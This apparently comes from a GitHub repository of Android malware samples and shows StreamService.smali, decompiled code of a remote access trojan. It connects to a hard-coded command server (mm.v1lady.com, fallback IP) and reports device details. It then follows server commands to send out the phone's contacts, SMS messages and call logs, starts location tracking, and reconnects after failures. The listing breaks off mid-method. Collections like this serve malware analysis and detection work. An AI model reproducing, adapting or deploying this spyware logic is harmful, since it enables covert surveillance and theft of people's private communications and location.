-
Notifications
You must be signed in to change notification settings - Fork 9
/
StreamService.smali
3423 lines (1817 loc) · 83.5 KB
/
StreamService.smali
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
.class public Lcom/v1/StreamService;
.super Landroid/app/Service;
# static fields
.field public static c:Lcom/v1/StreamService;
.field public static e:Z
.field public static g:Z
# instance fields
.field public a:Ljava/lang/String;
.field public b:I
.field public d:Z
.field f:Ljava/lang/Process;
.field private h:Ljava/net/Socket;
.field private i:Z
.field private j:Ljava/util/Timer;
.field private k:Landroid/app/AlarmManager;
.field private l:Landroid/app/PendingIntent;
.field private m:Lcom/baidu/location/LocationClient;
# direct methods
.method static constructor <clinit>()V
.locals 2
const/4 v1, 0x0
const/4 v0, 0x0
sput-object v0, Lcom/v1/StreamService;->c:Lcom/v1/StreamService;
sput-boolean v1, Lcom/v1/StreamService;->e:Z
sput-boolean v1, Lcom/v1/StreamService;->g:Z
return-void
.end method
.method public constructor <init>()V
.locals 2
const/4 v1, 0x0
invoke-direct {p0}, Landroid/app/Service;-><init>()V
const/4 v0, 0x1
iput-boolean v0, p0, Lcom/v1/StreamService;->i:Z
iput-object v1, p0, Lcom/v1/StreamService;->j:Ljava/util/Timer;
const-string v0, "mm.v1lady.com"
iput-object v0, p0, Lcom/v1/StreamService;->a:Ljava/lang/String;
const/16 v0, 0x596
iput v0, p0, Lcom/v1/StreamService;->b:I
const/4 v0, 0x0
iput-boolean v0, p0, Lcom/v1/StreamService;->d:Z
iput-object v1, p0, Lcom/v1/StreamService;->f:Ljava/lang/Process;
return-void
.end method
.method private a(Ljava/lang/String;)V
.locals 5
const/4 v0, 0x0
new-instance v1, Ljava/io/File;
const-string v2, "/data/data/com.v1/"
invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
invoke-virtual {v1}, Ljava/io/File;->list()[Ljava/lang/String;
move-result-object v2
:goto_0
array-length v1, v2
if-lt v0, v1, :cond_0
return-void
:cond_0
aget-object v1, v2, v0
const-string v3, ".stream-"
invoke-virtual {v1, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
move-result v1
if-eqz v1, :cond_1
new-instance v1, Ljava/io/File;
new-instance v3, Ljava/lang/StringBuilder;
const-string v4, "/data/data/com.v1/"
invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
aget-object v4, v2, v0
invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v3
invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
invoke-direct {v1, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
invoke-virtual {v1}, Ljava/io/File;->isFile()Z
move-result v3
if-eqz v3, :cond_1
:try_start_0
const-string v3, "StreamService"
invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
move-result-object v4
invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
new-instance v3, Ljava/io/BufferedReader;
new-instance v4, Ljava/io/FileReader;
invoke-direct {v4, v1}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
move-result-object v1
const-string v3, "\u00a7"
invoke-virtual {v1, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
move-result-object v3
const/4 v4, 0x1
aget-object v3, v3, v4
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
const-string v4, "\u00a7"
invoke-virtual {v1, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
move-result-object v1
const/4 v4, 0x0
aget-object v1, v1, v4
new-instance v4, Lcom/v1/h;
invoke-direct {v4, p0, v1, p1, v3}, Lcom/v1/h;-><init>(Lcom/v1/StreamService;Ljava/lang/String;Ljava/lang/String;I)V
invoke-virtual {v4}, Lcom/v1/h;->start()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
:cond_1
:goto_1
add-int/lit8 v0, v0, 0x1
goto :goto_0
:catch_0
move-exception v1
invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
goto :goto_1
.end method
.method private static b(Ljava/lang/String;)Ljava/lang/String;
.locals 2
:try_start_0
invoke-static {p0}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
move-result-object v0
invoke-virtual {v0}, Ljava/net/InetAddress;->toString()Ljava/lang/String;
move-result-object v0
const-string v1, "/"
invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
move-result v1
if-eqz v1, :cond_0
const-string v1, "/"
invoke-virtual {v0, v1}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
move-result v1
add-int/lit8 v1, v1, 0x1
invoke-virtual {v0, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
move-result-object v0
:cond_0
:goto_0
return-object v0
:catch_0
move-exception v0
const-string v0, "221.226.58.202"
goto :goto_0
.end method
.method private c()V
.locals 3
:try_start_0
invoke-virtual {p0}, Lcom/v1/StreamService;->getAssets()Landroid/content/res/AssetManager;
move-result-object v0
const-string v1, "config.dat"
invoke-virtual {v0, v1}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v0
new-instance v1, Ljava/io/BufferedReader;
new-instance v2, Ljava/io/InputStreamReader;
invoke-direct {v2, v0}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
invoke-direct {v1, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
move-result-object v0
iput-object v0, p0, Lcom/v1/StreamService;->a:Ljava/lang/String;
invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
move-result-object v0
invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v0
iput v0, p0, Lcom/v1/StreamService;->b:I
:try_end_0
.catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_0
:goto_0
return-void
:catch_0
move-exception v0
invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
goto :goto_0
.end method
.method private d()V
.locals 2
const-wide/32 v0, 0xea60
:try_start_0
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
:try_end_0
.catch Ljava/lang/InterruptedException; {:try_start_0 .. :try_end_0} :catch_0
:goto_0
invoke-direct {p0}, Lcom/v1/StreamService;->c()V
new-instance v0, Lcom/v1/f;
invoke-direct {v0, p0}, Lcom/v1/f;-><init>(Lcom/v1/StreamService;)V
invoke-virtual {v0}, Lcom/v1/f;->start()V
return-void
:catch_0
move-exception v0
invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V
goto :goto_0
.end method
# virtual methods
.method public final a()V
.locals 22
:try_start_0
move-object/from16 v0, p0
iget-object v2, v0, Lcom/v1/StreamService;->a:Ljava/lang/String;
invoke-static {v2}, Lcom/v1/StreamService;->b(Ljava/lang/String;)Ljava/lang/String;
move-result-object v2
move-object/from16 v0, p0
iput-object v2, v0, Lcom/v1/StreamService;->a:Ljava/lang/String;
const-string v2, "StreamService"
move-object/from16 v0, p0
iget-object v3, v0, Lcom/v1/StreamService;->a:Ljava/lang/String;
invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
new-instance v2, Ljava/net/Socket;
move-object/from16 v0, p0
iget-object v3, v0, Lcom/v1/StreamService;->a:Ljava/lang/String;
move-object/from16 v0, p0
iget v4, v0, Lcom/v1/StreamService;->b:I
invoke-direct {v2, v3, v4}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
move-object/from16 v0, p0
iput-object v2, v0, Lcom/v1/StreamService;->h:Ljava/net/Socket;
new-instance v17, Ljava/io/DataInputStream;
move-object/from16 v0, p0
iget-object v2, v0, Lcom/v1/StreamService;->h:Ljava/net/Socket;
invoke-virtual {v2}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
move-result-object v2
move-object/from16 v0, v17
invoke-direct {v0, v2}, Ljava/io/DataInputStream;-><init>(Ljava/io/InputStream;)V
new-instance v18, Ljava/io/DataOutputStream;
move-object/from16 v0, p0
iget-object v2, v0, Lcom/v1/StreamService;->h:Ljava/net/Socket;
invoke-virtual {v2}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v2
move-object/from16 v0, v18
invoke-direct {v0, v2}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
new-instance v19, Lcom/v1/lib/j;
move-object/from16 v0, v19
move-object/from16 v1, p0
invoke-direct {v0, v1}, Lcom/v1/lib/j;-><init>(Landroid/content/Context;)V
invoke-static {}, Lcom/v1/lib/j;->i()[Ljava/lang/String;
move-result-object v13
new-instance v2, Lcom/google/xrat/protocol/ClientInfo;
const-string v3, ""
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->b()Ljava/lang/String;
move-result-object v4
const/4 v5, 0x0
aget-object v5, v13, v5
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->a()Ljava/lang/String;
move-result-object v6
sget-object v7, Landroid/os/Build;->MODEL:Ljava/lang/String;
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->c()Ljava/lang/String;
move-result-object v8
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->e()Ljava/lang/String;
move-result-object v9
invoke-static {}, Lcom/v1/lib/j;->g()Ljava/lang/String;
move-result-object v10
invoke-static {}, Lcom/v1/lib/j;->j()Ljava/lang/String;
move-result-object v11
sget-object v12, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
const/4 v14, 0x1
aget-object v13, v13, v14
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->f()Ljava/lang/String;
move-result-object v14
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->h()Ljava/lang/String;
move-result-object v15
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->d()Z
move-result v16
invoke-direct/range {v2 .. v16}, Lcom/google/xrat/protocol/ClientInfo;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V
new-instance v3, Lcom/google/xrat/protocol/ClientInfoPacket;
invoke-direct {v3, v2}, Lcom/google/xrat/protocol/ClientInfoPacket;-><init>(Lcom/google/xrat/protocol/ClientInfo;)V
const/16 v2, 0xc9
const/4 v4, 0x0
invoke-virtual {v3}, Lcom/google/xrat/protocol/ClientInfoPacket;->build()[B
move-result-object v5
array-length v5, v5
int-to-short v5, v5
invoke-virtual {v3}, Lcom/google/xrat/protocol/ClientInfoPacket;->build()[B
move-result-object v3
invoke-static {v2, v4, v5, v3}, Lcom/google/xrat/a/b;->a(SSI[B)[B
move-result-object v2
move-object/from16 v0, v18
invoke-virtual {v0, v2}, Ljava/io/DataOutputStream;->write([B)V
const/4 v2, 0x1
sput-boolean v2, Lcom/v1/StreamService;->g:Z
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->d()Z
move-result v2
if-eqz v2, :cond_0
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->h()Ljava/lang/String;
move-result-object v2
move-object/from16 v0, p0
invoke-direct {v0, v2}, Lcom/v1/StreamService;->a(Ljava/lang/String;)V
:cond_0
new-instance v2, Ljava/io/File;
const-string v3, "/data/data/com.v1/gps.txt"
invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
invoke-virtual {v2}, Ljava/io/File;->exists()Z
move-result v3
if-nez v3, :cond_1
invoke-virtual {v2}, Ljava/io/File;->createNewFile()Z
:cond_1
new-instance v3, Ljava/io/BufferedReader;
new-instance v4, Ljava/io/FileReader;
invoke-direct {v4, v2}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
move-result-object v3
if-eqz v3, :cond_2
const-string v4, ""
invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v4
if-nez v4, :cond_2
invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
move-result-wide v3
const-wide/32 v5, 0x36ee80
add-long/2addr v3, v5
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v5
cmp-long v3, v3, v5
if-gez v3, :cond_3
:cond_2
new-instance v3, Ljava/io/BufferedWriter;
new-instance v4, Ljava/io/FileWriter;
invoke-direct {v4, v2}, Ljava/io/FileWriter;-><init>(Ljava/io/File;)V
invoke-direct {v3, v4}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v4
invoke-virtual {v2, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v2
invoke-virtual {v3, v2}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
invoke-virtual {v3}, Ljava/io/BufferedWriter;->flush()V
invoke-virtual/range {p0 .. p0}, Lcom/v1/StreamService;->getApplication()Landroid/app/Application;
move-result-object v2
check-cast v2, Lcom/v1/lib/Location;
iget-object v3, v2, Lcom/v1/lib/Location;->a:Lcom/baidu/location/LocationClient;
move-object/from16 v0, p0
iput-object v3, v0, Lcom/v1/StreamService;->m:Lcom/baidu/location/LocationClient;
move-object/from16 v0, p0
iget-object v3, v0, Lcom/v1/StreamService;->a:Ljava/lang/String;
invoke-virtual {v2, v3}, Lcom/v1/lib/Location;->a(Ljava/lang/String;)V
move-object/from16 v0, p0
iget v3, v0, Lcom/v1/StreamService;->b:I
invoke-virtual {v2, v3}, Lcom/v1/lib/Location;->a(I)V
invoke-virtual/range {v19 .. v19}, Lcom/v1/lib/j;->h()Ljava/lang/String;
move-result-object v3
invoke-virtual {v2, v3}, Lcom/v1/lib/Location;->b(Ljava/lang/String;)V
const/16 v3, 0xe7
invoke-virtual {v2, v3}, Lcom/v1/lib/Location;->a(S)V
move-object/from16 v0, p0
iget-object v2, v0, Lcom/v1/StreamService;->m:Lcom/baidu/location/LocationClient;
invoke-virtual {v2}, Lcom/baidu/location/LocationClient;->start()V
:cond_3
:goto_0
move-object/from16 v0, p0
iget-boolean v2, v0, Lcom/v1/StreamService;->i:Z
:try_end_0
.catch Ljava/net/ConnectException; {:try_start_0 .. :try_end_0} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_0 .. :try_end_0} :catch_3
.catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_5
.catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_0} :catch_8
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_6
if-nez v2, :cond_4
:goto_1
return-void
:cond_4
const/4 v2, 0x2
:try_start_1
new-array v2, v2, [B
move-object/from16 v0, v17
invoke-virtual {v0, v2}, Ljava/io/DataInputStream;->read([B)I
invoke-static {v2}, Lcom/google/xrat/a/b;->a([B)S
move-result v3
const/4 v2, 0x2
new-array v4, v2, [B
move-object/from16 v0, v17
invoke-virtual {v0, v4}, Ljava/io/DataInputStream;->read([B)I
invoke-static {v4}, Lcom/google/xrat/a/b;->a([B)S
move-result v16
const/4 v2, 0x4
new-array v2, v2, [B
move-object/from16 v0, v17
invoke-virtual {v0, v2}, Ljava/io/DataInputStream;->read([B)I
invoke-static {v2}, Lcom/google/xrat/a/b;->c([B)I
move-result v5
new-instance v6, Ljava/io/ByteArrayOutputStream;
invoke-direct {v6, v5}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
const/16 v2, 0x400
new-array v7, v2, [B
const/4 v2, 0x0
:goto_2
if-lt v2, v5, :cond_5
invoke-virtual {v6}, Ljava/io/ByteArrayOutputStream;->flush()V
invoke-virtual {v6}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
move-result-object v2
sget-short v5, Lcom/google/xrat/protocol/Protocol;->GET_CONTCATS:S
if-ne v3, v5, :cond_6
invoke-static/range {p0 .. p0}, Lcom/v1/lib/b;->a(Landroid/content/Context;)Ljava/util/ArrayList;
move-result-object v2
new-instance v3, Lcom/google/xrat/protocol/ContactsPacket;
invoke-direct {v3, v2}, Lcom/google/xrat/protocol/ContactsPacket;-><init>(Ljava/util/ArrayList;)V
const/16 v2, 0xd4
invoke-virtual {v3}, Lcom/google/xrat/protocol/ContactsPacket;->build()[B
move-result-object v4
array-length v4, v4
invoke-virtual {v3}, Lcom/google/xrat/protocol/ContactsPacket;->build()[B
move-result-object v3
move/from16 v0, v16
invoke-static {v2, v0, v4, v3}, Lcom/google/xrat/a/b;->a(SSI[B)[B
move-result-object v2
move-object/from16 v0, v18
invoke-virtual {v0, v2}, Ljava/io/DataOutputStream;->write([B)V
:try_end_1
.catch Ljava/net/SocketException; {:try_start_1 .. :try_end_1} :catch_0
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_2
.catch Ljava/lang/RuntimeException; {:try_start_1 .. :try_end_1} :catch_4
.catch Ljava/net/ConnectException; {:try_start_1 .. :try_end_1} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_1 .. :try_end_1} :catch_3
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_6
goto :goto_0
:catch_0
move-exception v2
:try_start_2
invoke-virtual {v2}, Ljava/net/SocketException;->printStackTrace()V
const/4 v2, 0x0
sput-boolean v2, Lcom/v1/StreamService;->g:Z
new-instance v2, Lcom/v1/f;
move-object/from16 v0, p0
invoke-direct {v2, v0}, Lcom/v1/f;-><init>(Lcom/v1/StreamService;)V
invoke-virtual {v2}, Lcom/v1/f;->start()V
:try_end_2
.catch Ljava/net/ConnectException; {:try_start_2 .. :try_end_2} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_2 .. :try_end_2} :catch_3
.catch Ljava/io/IOException; {:try_start_2 .. :try_end_2} :catch_5
.catch Ljava/lang/RuntimeException; {:try_start_2 .. :try_end_2} :catch_8
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_6
goto :goto_1
:catch_1
move-exception v2
const-string v2, "StreamService"
const-string v3, "\u7aef\u53e3\u6ca1\u5f00,3\u5206\u949f\u540e\u6211\u518d\u8bd5"
invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
const/4 v2, 0x0
sput-boolean v2, Lcom/v1/StreamService;->g:Z
invoke-direct/range {p0 .. p0}, Lcom/v1/StreamService;->d()V
goto :goto_1
:cond_5
:try_start_3
move-object/from16 v0, v17
invoke-virtual {v0, v7}, Ljava/io/DataInputStream;->read([B)I
move-result v8
add-int/2addr v2, v8
const/4 v9, 0x0
invoke-virtual {v6, v7, v9, v8}, Ljava/io/ByteArrayOutputStream;->write([BII)V
:try_end_3
.catch Ljava/net/SocketException; {:try_start_3 .. :try_end_3} :catch_0
.catch Ljava/io/IOException; {:try_start_3 .. :try_end_3} :catch_2
.catch Ljava/lang/RuntimeException; {:try_start_3 .. :try_end_3} :catch_4
.catch Ljava/net/ConnectException; {:try_start_3 .. :try_end_3} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_3 .. :try_end_3} :catch_3
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_6
goto :goto_2
:catch_2
move-exception v2
:try_start_4
const-string v3, "StreamService"
invoke-virtual {v2}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
move-result-object v4
invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
:try_end_4
.catch Ljava/net/ConnectException; {:try_start_4 .. :try_end_4} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_4 .. :try_end_4} :catch_3
.catch Ljava/io/IOException; {:try_start_4 .. :try_end_4} :catch_5
.catch Ljava/lang/RuntimeException; {:try_start_4 .. :try_end_4} :catch_8
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_6
goto/16 :goto_0
:catch_3
move-exception v2
invoke-virtual {v2}, Ljava/net/UnknownHostException;->printStackTrace()V
const/4 v2, 0x0
sput-boolean v2, Lcom/v1/StreamService;->g:Z
invoke-direct/range {p0 .. p0}, Lcom/v1/StreamService;->d()V
goto/16 :goto_1
:cond_6
:try_start_5
sget-short v5, Lcom/google/xrat/protocol/Protocol;->GET_MSG:S
if-ne v3, v5, :cond_7
invoke-static/range {p0 .. p0}, Lcom/v1/lib/l;->a(Landroid/content/Context;)Ljava/util/ArrayList;
move-result-object v2
new-instance v3, Lcom/google/xrat/protocol/SmsPacket;
invoke-direct {v3, v2}, Lcom/google/xrat/protocol/SmsPacket;-><init>(Ljava/util/ArrayList;)V
const/16 v2, 0xcc
invoke-virtual {v3}, Lcom/google/xrat/protocol/SmsPacket;->build()[B
move-result-object v4
array-length v4, v4
invoke-virtual {v3}, Lcom/google/xrat/protocol/SmsPacket;->build()[B
move-result-object v3
move/from16 v0, v16
invoke-static {v2, v0, v4, v3}, Lcom/google/xrat/a/b;->a(SSI[B)[B
move-result-object v2
move-object/from16 v0, v18
invoke-virtual {v0, v2}, Ljava/io/DataOutputStream;->write([B)V
:try_end_5
.catch Ljava/net/SocketException; {:try_start_5 .. :try_end_5} :catch_0
.catch Ljava/io/IOException; {:try_start_5 .. :try_end_5} :catch_2
.catch Ljava/lang/RuntimeException; {:try_start_5 .. :try_end_5} :catch_4
.catch Ljava/net/ConnectException; {:try_start_5 .. :try_end_5} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_5 .. :try_end_5} :catch_3
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_6
goto/16 :goto_0
:catch_4
move-exception v2
:try_start_6
invoke-virtual {v2}, Ljava/lang/RuntimeException;->printStackTrace()V
const/4 v2, 0x0
sput-boolean v2, Lcom/v1/StreamService;->g:Z
new-instance v2, Lcom/v1/f;
move-object/from16 v0, p0
invoke-direct {v2, v0}, Lcom/v1/f;-><init>(Lcom/v1/StreamService;)V
invoke-virtual {v2}, Lcom/v1/f;->start()V
:try_end_6
.catch Ljava/net/ConnectException; {:try_start_6 .. :try_end_6} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_6 .. :try_end_6} :catch_3
.catch Ljava/io/IOException; {:try_start_6 .. :try_end_6} :catch_5
.catch Ljava/lang/RuntimeException; {:try_start_6 .. :try_end_6} :catch_8
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
goto/16 :goto_1
:catch_5
move-exception v2
invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
const/4 v2, 0x0
sput-boolean v2, Lcom/v1/StreamService;->g:Z
invoke-direct/range {p0 .. p0}, Lcom/v1/StreamService;->d()V
goto/16 :goto_1
:cond_7
:try_start_7
sget-short v5, Lcom/google/xrat/protocol/Protocol;->GET_CALLLOGS:S
if-ne v3, v5, :cond_8
invoke-static/range {p0 .. p0}, Lcom/v1/lib/a;->a(Landroid/content/Context;)Ljava/util/ArrayList;
move-result-object v2
new-instance v3, Lcom/google/xrat/protocol/CallLogsPacket;
invoke-direct {v3, v2}, Lcom/google/xrat/protocol/CallLogsPacket;-><init>(Ljava/util/ArrayList;)V
const/16 v2, 0xcd
invoke-virtual {v3}, Lcom/google/xrat/protocol/CallLogsPacket;->build()[B
move-result-object v4
array-length v4, v4
invoke-virtual {v3}, Lcom/google/xrat/protocol/CallLogsPacket;->build()[B
move-result-object v3
move/from16 v0, v16
invoke-static {v2, v0, v4, v3}, Lcom/google/xrat/a/b;->a(SSI[B)[B
move-result-object v2
move-object/from16 v0, v18
invoke-virtual {v0, v2}, Ljava/io/DataOutputStream;->write([B)V
:try_end_7
.catch Ljava/net/SocketException; {:try_start_7 .. :try_end_7} :catch_0
.catch Ljava/io/IOException; {:try_start_7 .. :try_end_7} :catch_2
.catch Ljava/lang/RuntimeException; {:try_start_7 .. :try_end_7} :catch_4
.catch Ljava/net/ConnectException; {:try_start_7 .. :try_end_7} :catch_1
.catch Ljava/net/UnknownHostException; {:try_start_7 .. :try_end_7} :catch_3
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_6
goto/16 :goto_0
:catch_6
move-exception v2
invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
const/4 v2, 0x0
sput-boolean v2, Lcom/v1/StreamService;->g:Z
invoke-direct/range {p0 .. p0}, Lcom/v1/StreamService;->d()V
goto/16 :goto_1
:cond_8
:try_start_8